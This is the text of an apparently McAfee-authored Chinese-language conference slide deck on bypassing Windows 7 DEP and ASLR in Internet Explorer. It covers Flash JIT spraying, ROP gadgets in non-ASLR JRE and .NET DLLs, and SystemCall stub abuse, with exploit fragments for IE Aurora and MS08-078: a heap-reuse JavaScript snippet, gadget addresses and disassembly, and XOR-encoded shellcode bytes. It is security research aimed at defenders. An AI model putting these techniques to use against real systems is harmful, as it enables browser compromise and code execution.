绕过 windows 7 浏览器内存保护 Chen XiaoBo Xiao_Chen@McAfee.com Xie Jun Jun_Xie@McAfee.com com
Windows 保护机制回顾 GS Stack cookies 防止覆盖 EIP 可以通过覆盖 SEH chains 来绕过 /GS 保护 SafeSEH & SEHOP SEH handler 验证 可以通过已注册的 SEH handler 或者没有 SafeSEH 标志的 DLL 内地址覆盖 例如 DNS RPC buffer overflow SEH chain 验证 Heap Protection Safe unlinking Heap cookies Heap metadata encryption Safe LAL (Lookaside lists) 很多保护机制在 vista / 2008 / win7 中加入 Lookaside 改写技巧还能够在 XP/2003 环境中工作
Windows 保护机制回顾 DEP NX support 永久 (Permanent) DEP IE 8 DEP is permanent NtSetProcessInformation() 的技巧无法绕过 permanent DEP Ret-to-libc or ROP (Return-Oriented Programming ) 的 shellcode 还可以绕过该 DEP 保护 ASLR Address space layout randomization( 地址随机化 ) Images / stack / heap / PEB / TEB 防止 ret-to-libc 的利用技巧
Windows 保护机制回顾 Brute force 在 IE 环境下暴力猜测 DLL 的基地址 不是很好的方法 Information leak 现在暂时还没有比较有效的内存信息泄露的技术 可能需要依赖其他 0day
利用技术的回顾 Brower memory protection bypasses By Alexander Sotirov & Mark Dowd Flash Flash 已经加入了 ASLR Java Java 仍分配 RWX 属性的内存 但是分配在 Java.exe 进程里面 ( 与 IE 进程分离 ).NET 用户控件 曾是最方便的绕过 ASLR&DEP 的技术 IE 8 已经禁止在 internet t zone 加载.NET 用户控件
目前公开的利用技术 Flash JIT By Dion Blazakis at BlackHat DC 2010 使用带执行属性的堆内存喷射 同时绕过 DEP&ASLR 在 IE 进程中加载多个 SWF 文件 JIT 后内存地址就会变得固定 该技术已经无法在 Flash 10.1 中使用 JIT 后的代码已经加密
目前公开的利用技术 Flash JIT 用 ActionScript 来编写 shellcode 使用长 XOR 表达式 XOR 指令只有一个字节 (0x35) 如果和 0x3c 指令结合就会变成一个类似 nop 的 x86 指令 CMP AL, 0x35 在 shellcode 中使用 NtAllocateVirtualMemory()/VirtualAlloc() 分配带 PAGE_EXECUTE_READWRITE 标志的内存 拷贝真正的 shellcode 并且跳转执行
目前公开的利用技术 Flash JIT 一个简单的 NtAllocateVirtualMemory() 构造例子 3589e5eb01 xor eax,1ebe589h 3583 103 3C10EC83h 3583ec103c xor eax,3c10ec83h 356a40eb01 xor eax,1eb406ah 3531c0eb01 xor eax,1ebc031h 35b410eb01 xor eax,1eb10b4h 355031db3c xor eax,3cdb3150h 35b740eb01 xor eax,1eb40b7h 35895d043c xor eax,3c045d89h 358d5d043c xor eax,3c045d8dh 355331db3c xor eax,3cdb3153h 356a00eb01 xor eax,1eb006ah 35895d083c xor eax,3c085d89h 358d5d083c xor eax,3c085d8dh 35536aff3c xor eax,3cff6a53h 356a00eb01 xor eax,1eb006ah
目前公开的利用技术 Flash JIT 通过在 JIT 代码地址 + 1 执行变成有意义的 x86 shellcode 写这样的 shellcode 显然比较痛苦 写个小工具辅助吧 shellcode2as.exe 自动把任意的 shellcode 转换成 ActionScript
Case study #1 Flash JIT with IE aurora on windows 7 IE aurora 漏洞 use-after-free 漏洞 该类漏洞常见于浏览器的 JS/DOM 使用 Root Cause EVENTPARAM 引用 CTreeNode 没有增加计数器 通过调用 element.innerhtml CTreeNode 已经被释放了 当访问 event 对象的 srcelement 或者 toelement 导致野指针的问题
Case study #1 Flash JIT with IE aurora on windows 7 重用对象 获取 CTreeNode 对象分配的大小 IE 7: 0x34 IE 8: 0x4c 在 HTML 中分配相同大小的元素来重用对象 Go exploit it
Case study #1 Flash JIT with IE aurora on windows 7 var reuse_object = new Array(); for(var x=0;x<9200;x++) { reuse_object.push(document.createelement("img")); } for (var x=0; x < 0x4c/4; i ++) var string_data = unescape("%u3344%u1122"); for(var x=0; x < reuse_object.length; x++) { reuse_object[x].src = string_data; }
Case study #1 Flash JIT Demo on windows 7
新的利用技术 3 rd Party IE plugin on windows 7 JRE 没有使用 ASLR jp2ssv.dll 缺省加载 如果你想加载更多的 JRE DLLs 在网页中嵌入一个 applet <applet code= some.class ></applet>
新的利用技术 3 rd Party IE plugin on windows 7 Bonjour for itunes / QT Adobe Shockwave (dirapi.dll) Assured Exploitation (cansecwest) DEP in depth (syscan 2010) 这些 DLL 都没有设置 ASLR 并且大部分缺省加载
新的利用技术 3 rd Party IE plugin on windows 7 在 JRE 中找到可用的指令 首先让 ESP 指向可控的数据 LEA ESP, [REG] RET LEA ESP, [REG + XX] RET PUSH REG POP ESP RET XCHG REG, ESP RET XCHG ESP, REG RET MOV ESP, REG RET MOV REG, FS:[0] RET 更加复杂的指令结合 : CALL [REG +???] and XCHG REG, ESP RET 编写 ROP shellcode 来获取控制
新的利用技术 3 rd Party IE plugin on windows 7 设置 shellcode 的内存属性为 RWX 最简单的方法就是 call VirtualProtect() WriteProcessMemory() 调用 NTWriteProcessMemory() 可以把代码写入只读并且带可执行的内存页 ( 代码页 ) 来绕过 DEP 分配 RWX 的内存页并且拷贝 shellcode 执行 例如 Adobe TIFF exploit
新的利用技术 3 rd Party IE plugin on windows 7 msdnsnsp.dll 中一段控制 ESP 的代码 mdnsnsp!dllunregisterserver+0x7b: 1608114b 94 xchg eax,esp 1608114c 0100 add dword ptr [eax],eax 1608114e 00c3 add bl,al 16081150 b826270000 mov eax,2726h 16081155 c21400 ret 14h
Case study #2 IE aurora exploit with JRE on windows 7 JRE 中控制 ESP 的代码 awt!java_sun_java2d_loops_drawrect_drawrect+0x6de: 6d005f6e 94 xchg eax,esp 6d005f6f c3 ret jp2iexp!dllgetclassobject+0x1496: 6d417e6c 94 xchg eax,esp 6d417e6d c3 ret
Case study #2 IE aurora exploit with JRE on windows 7 把所有的地址通过 JS HeapSpray 存放在固定的内存中 ROP shellcode 绕过 DEP 并且执行真正的功能 shellcode 通过完美的内存分配来避免地址对齐的问题
Case study #2 IE aurora exploit with JRE on windows 7 Call [VirtualProtect] in jvm.dll jvm!jvm_findsignal+0x5732b: 6d97c9cb ff1588d09f6d call dword ptr [jvm!jvm_findsignal+0xd79e8 (6d9fd088)] 6d97c9d1 f7d8 neg eax 6d97c9d3 1bc0 sbb eax,eax 6d97c9d5 f7d8 neg eax 6d97c9d7 5f pop edi 6d97c9d8 5e pop esi 6d97c9d9 5d pop p ebp 6d97c9da c3 ret 返回至 VirtualProtect(mem, 0x2000, 0x40, ptr) 来设置 heap 内存 RWX 标志
Case study #2 IE aurora Java ROP demo on windows 7
新的利用技术.NET Framework on windows 7 IE 8 的确禁止了.NET 用户控件的加载 (internet zone) 不能够再使用加载 exploit.dll 之类的方法 除非有其他漏洞能够跳转至 IE 的 trusted zone
新的利用技术.NET Framework on windows 7 现在这不再是个问题 Windows 7 中为了兼容问题安装了.NET framework (1.0 3.5) V1.0 v2.0 还是试用老的编译器所编译 很多 DLL 都没有 ASLR 保护!!
新的利用技术.NET Framework on windows 7 编写一个.NET 用户控件并且试用 2.0 C# 编译器编译 会强制 IE 加载老的.NET DLLs!! 案例 : 即使你的.NET 用户控件被禁止加载 IE 进程仍然会加载.NET IE mime filter DLL
New exploitation technique.net Framework on windows 7 ModLoad: 63f00000 63f0c000 C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorie.dll 这个 DLL 是没有 ASLR 保护的!!
新的利用技术 IE aurora exploit with.net Framework on windows 7 控制 ESP 寄存器 mscorie!dllgetclassobjectinternal+0x3452: 63f0575b 94 xchg eax,esp 63f0575c 8b00 mov eax,dword ptr [eax] 63f0575e 890424 mov dword ptr [esp],eax 63f05761 c3 ret
新的利用技术 IE aurora exploit with.net Framework on windows 7 返回至 VirtualProtect() 设置 Heap 的执行属性 mscorie!dllgetclassobjectinternal+0x29e2: 63f04ceb 55 push ebp 63f04cec 8bec mov ebp,esp 63f04cee ff7518 push dword ptr [ebp+18h] 63f04cf1 ff7514 push dword ptr [ebp+14h] 63f04cf4 ff7510 push dword ptr [ebp+10h] 63f04cf7 ff750c push dword ptr [ebp+0ch] 63f04cfa ff150011f063 call dword ptr [mscorie+0x1100 (63f01100)] (VirtualProtect)
Case study #3 IE aurora.net ROP demo on windows 7
新的利用技术 SystemCall On Windows 0:007> dt _KUSER_SHARED_DATA 0x7ffe0000 ntdll!_kuser_shared_data +0x300 SystemCall : 0x772864f0 +0x304 SystemCallReturn : 0x772864f4 0:007> u 772864f0 ntdll!kifastsystemcall: 772864f0 8bd4 mov edx,esp 772864f2 0f34 sysenter ntdll!kifastsystemcallret: SystemCall 地址 0x7ffe0300 0300 没有随机化!!
New exploitation technique SystemCall On Windows Windows user-mode enter to Kernel-mode like this 0:019> u ZwCreateProcess ntdll!ntcreateprocess: 77284ae0 b84f000000 mov eax,4fh 77284ae5 ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300) 77284aea ff12 call dword ptr [edx] 77284aec c22000 ret 20h 通过手工构造 System Call 的参数 并且用 System Call 的技术来绕过 DEP&ALSR
Case study #4 IE MS08-078 exploit with SystemCall on windows 通过堆喷射的方法在内存中填充 SystemCall 的地址 在 exploit 中使用 SystemCall 地址.text:461E3D30 mov eax, [esi] //eax==0x0a0a11c8. // 0x11c8 be a systemcall ID.text:461E3D4C mov ecx, [eax] //[0x0a0a11c8]==0x7ffe027c.text:461E3D4E push edi.text:461e3d4f push eax //eax==0x0a0a11c8.text:461e3d50 call dword ptr [ecx+84h] //call [0x7FFE0300] SystemCall 以上代码等同于调用 NtUserLockWorkStation mov eax,11c8h mov edx,offset SharedUserData!SystemCallStub (7ffe0300) call dword ptr [edx]
Case study #4 System call on x64 7ffe0300 不再存放 KiFastSystemCall 的地址 通过 call dword ptr fs:[0c0h] 指令来代替系统调用的方法 0:000> u NtQueryInformationToken ntdll!ntqueryinformationtoken: 77d9fb38 b81e000000 mov eax,1eh 77d9fb3d 33c9 xor ecx,ecx 77d9fb3f 8d542404 lea edx,[esp+4] 77d9fb43 64ff15c0000000 call dword ptr fs:[0c0h] 77d9fb4a 83c404 add esp,4 77d9fb4d c21400 ret 14h
The End 以上我们共例举了 4 种绕过 ASLR&DEP 的技术
Thanks Q&A